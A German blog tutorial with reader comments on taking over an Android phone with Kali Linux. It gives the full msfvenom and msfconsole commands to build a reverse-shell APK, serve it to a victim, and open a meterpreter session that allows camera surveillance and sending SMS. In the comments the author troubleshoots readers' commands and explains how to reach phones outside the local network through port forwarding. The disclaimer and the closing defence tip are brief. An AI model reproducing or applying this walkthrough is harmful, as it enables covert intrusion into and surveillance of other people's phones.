Kali Linux Android hack

Ein Hinweis vorweg: Ich übernehme keinerlei Haftung für Schäden, die durch diesen Artikel verursacht wurden. Ein mutwilliges Hacken anderer ist eine Straftat, führt diesen Selbstversuch also bitte nur bei euren Geräten aus.

Wer ein Android Handy hacken möchte, braucht dazu nicht viel. Es ist leider auch sehr erschreckend wie wenig es benötigt, damit der Hack erfolgreich ausgeführt werden kann. Zum einen reicht Kali Linux und die vermeintliche Unachtsamkeit des Smartphone Users, damit der Angreifer vollen Zugriff auf das Handy hat. Meine Teststellung bestand aus einem Samsung S5 Neo, geflasht auf Android 6 und meinem Laptop, auf dem ich eine virtuelle Appliance mit Kali Linux habe. Beide Geräte müssen für diesen Test im gleichen Netz sein.

Smartphone

Ich hatte vorher von Unachtsamkeit des Smartphone User gesprochen. Damit meine ich eine Installation aus unbekannter Quelle, die standardmäßig von Android deaktiviert ist. Ohne das Zuschalten dieser Option würde dieser Hack nicht funktionieren, da aus Sicherheitsgründen die Installation solcher Apps verhindert wird.

Ist dieser Punkt jedoch erlaubt und die App führt die Installation aus, werden die Berechtigungen abgefragt.

Erst nach Bestätigung dieser Berechtigungen, funktioniert der Hack. Das Smartphone ist somit infiziert und verbindet sich mit dem Hacker, der nun die Kontrolle hat.

Kali Linux

Mit ifconfig schauen wir nach der IP Adresse von Kali, die wir später noch benötigen. Erzeugt nun die .apk File für das Smartphone, die, sobald ausgeführt, eine reverse shell zum Angreifer(LHOST) herstellt. Mit > wird der Code in eine .apk geschrieben.

msfvenom -p android/meterpreter/reverse_tcp LHOST=<attacker address> LPORT=4444 R > /var/www/html/test.apk

LHOST muss mit der IP getauscht werden, die wir zuvor mit ifconfig ermittelt haben. Nun müssen wir Kali Linux einrichten, damit auf Port 4444 gelauscht wird. Zu diesem Port verbindet sich die .apk später vom Smartphone aus. Beim Ausführen der App, versucht diese sich mit dem Angreifer auf Port 4444 zu verbinden. Die apk lasse ich extra im html Verzeichnis erstellen, damit wir diese später einfach vom Smartphone aus abgreifen können. Auf dem Smartphone reicht dann ein ansurfen auf <attacker address>/test.apk und die Datei wird heruntergeladen.

In Kali starten wir unser Werkzeug mit

msfconsole

und suchen uns einen Exploit aus.

use exploit/multi/handler

Es fehlt noch ein Payload, den wir wie folgt laden

set payload android/meterpreter/reverse_tcp

Damit wir die Konfigurationsmöglichkeiten vom Payload erfahren, führen wir show options aus.

show options

Wir müssen LHOST mit der IP des Angreifers setzen, LHOST steht hierbei für [L]ocalHOST, also die Angreifer Maschine.

set LHOST <attacker address>

Die Konfiguration des Exploits wäre damit getan und wir führen ihn aus.

exploit

Der Port 4444 ist nun geöffnet und unser Exploit lauscht darauf. Dies können wir mit netstat überprüfen.

netstat -tapen | grep 4444

Ergibt dieser Befehl keine Rückmeldung, so ist etwas beim Starten des Exploits schief gelaufen.

Sobald das Opfer die App ausgeführt hat, öffnet sich eine reverse shell und wir(Angreifer) haben vollen Zugriff auf das Smartphone. Die reverse Shell kommuniziert dabei mit unserem Laptop auf Port 4444, den wir ja zuvor geöffnet hatten.

Mit dem help command lassen wir uns unterschiedlichste Möglichkeiten anzeigen. Von Kamera Überwachung bis hin zum SMS senden, ist dort alles vertreten.

 

Das Smartphone wäre somit in der Hand des Hackers, ohne dass der Benutzer es überhaupt großartig mitbekommen kann. Jedoch kann man sich hiervor schützen, in dem Installationen aus unbekannter Quelle per Default nicht erlaubt werden. Installationen aus dem Playstore sollten zu ~99.9% sicher sein. Ein weiterer Indiz ist die Masse an Berechtigung, die die APK verlangt. Eine App sollte nie mehr Berechtigung bekommen, als ihr eigentlicher Zweck ist.

12 Gedanken zu „Kali Linux Android hack

    1. Hallo Denis,

      bei dem Befehl geht es lediglich darum, den vorherigen Part zu überprüfen, sprich ob der Exploit auf Kali zu diesem Zeitpunkt läuft und der Port 4444 auf der Maschine offen ist. Erst wenn dies der Fall ist, kann durch das Starten der App auf dem Smartphone der Exploit korrekt ausgeführt werden.

      Kurzum die Reihenfolge:
      1. Exploit auf Kali starten damit der Port 4444 offen ist
      2. .apk konfigurieren
      3. .apk auf Smartphone laden und installieren
      4. App auf Smartphone ausführen

      erst danach sollte auf dem Kali die remoteshell zur Verfügung stehen. Der netstat Befehl ist für den eigentlich Hack nicht notwendig.

      Bitte daran denken dies nur bei den eigenen Geräten zu versuchen.

      Gutes gelingen.

      Viele Grüße
      stevie

  1. Wenn ich versuche die .apk Datei zu erstellen kommt bei mir nur die Meldung “/var/www/html/hack.apk ist ein Verzeichnis”. Weiß jemand wie ich das beheben kann?

    1. Hallo Christian,
      für mich hört sich das erstmal so an, als hätten sie “/var/www/html/hack.apk” alleine ausgeführt, was zur genannten Nachricht führt? Dies gehört allerdings noch mit zum msfvenom Befehl. Das “>” Zeichen sorgt dafür, dass die msfvenom Ausgabe nach /var/www/html/hack.apk geleitet wird, muss dementsprechend auch mit angegeben werden. Probieren Sie also bitte den Befehl als Einzeiler auszuführen.
      msfvenom -p android/meterpreter/reverse_tcp LHOST= LPORT=4444 R > /var/www/html/test.apk

      Viele Grüße
      stevie

  2. Hey wollt mal wissen
    Der LauschAngriff findet ja nur im eigenen Netzwerk statt ist es wegen tcp ?oder gibt es auch Möglichkeiten das ich z.B. von hier aus deutschen mach keine Ahnung timbuktu auf ein android zugreifen kann
    Wenn ja was müsste man ändern ?

    1. Hallo, auch das ist möglich, müsste nur an die Gegebenheiten angepasst werden. Die IP vom Angreifer in dem Fall mit der externen IP vom Router austauschen und den gewählten Port, die 4444 zum Laptop weiterleiten. TCP ist das Übermittlungsprotokoll und hat mit dem Angriff erstmal nichts direkt zu tun.

      Viele Grüße
      stevie

  3. hi ich habe eine frage und zwar welche app oder apk muss ich (also das opfer) installieren dammit ich mit den befehlen zugriff aufs handy habe?

    1. Hallo Simon,

      die .apk wird mit Hilfe von Kali erzeugt. Ist soweit die erste Kommandozeile, die ausgeführt wird:
      msfvenom -p android/meterpreter/reverse_tcp LHOST= LPORT=4444 R > /var/www/html/test.apk

      Den Output von msfvenom schreiben wir in /var/www/html/test.apk (Pfad kann geändert werden).
      Die .apk liegt somit auf dem Kali System und muss auf das Smartphone übertragen und installiert werden. Wichtig sind hier vor allen Dingen die Parameter LHOST und LPORT, die richtig angegeben werden müssen. LHOST ist soweit die IP-Adresse vom Angreifer, wo sich die .apk später hin verbinden soll und LPORT der benutzte Port.

      Viele Grüße
      stevie

  4. Hallo, Kann mir Bitte Jemand Helfen ich komme Mit Kali Linux gar nicht klar wenn ich “use exploit/multi/handle eingebe kommen 1000 sachen mit denen ich nichts anfangen kann

    1. Hallo,

      so aus dem Stand kann ich hier leider nicht helfen, da fehlen dann doch ein paar Informationen. Was wurde alles gemacht, bevor der Exploit ausgeführt werden soll und was sind das für 1000 Sachen? Hier müsste ja im Normalfall auch eine aussagekräftige Fehlermeldung existieren.

      Viele Grüße
      Stevie

  5. Ich bekomme beim erstellen der .apk dauernd folgendes in Kali:
    [-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
    [-] No arch selected, selecting arch: dalvik from the payload
    No encoder specified, outputting raw payload
    Payload size: 10188 bytes

    1. Hallo Hansi,

      das liegt unter anderem daran, dass kein Encoder angegeben wurde. Man könnte sich nun die Liste aller Encoder mit “msfvenom -l encoder” ausgeben lassen und sich seinen gewünschten mit dem Schalter “-e” in die Befehlszeile integrieren. Meines Wissens ist dies aber nicht notwendig, die .apk schreibt er trotzdem. Dadurch das kein Encoder angegeben wurde, macht er einen “RAW” Output.
      Auch bei mir kommen die selben Meldungen. Man darf halt nicht vergessen, die Ausgabe in eine Datei zu leiten, passiert in diesem Fall mit ” > //test.apk”. Im Pfad hat er mir die Datei abgelegt.

      Die anderen beiden Meldungen kommen, weil er sich die Informationen zu Platform und Arch aus dem Payload gezogen hat.

      Du kannst dir die verfügbaren Optionen des Payloads mit “msfvenom -p android/meterpreter/reverse_tcp –list-options” anschauen.

      Viele Grüße
      stevie

Schreibe einen Kommentar

Deine E-Mail-Adresse wird nicht veröffentlicht.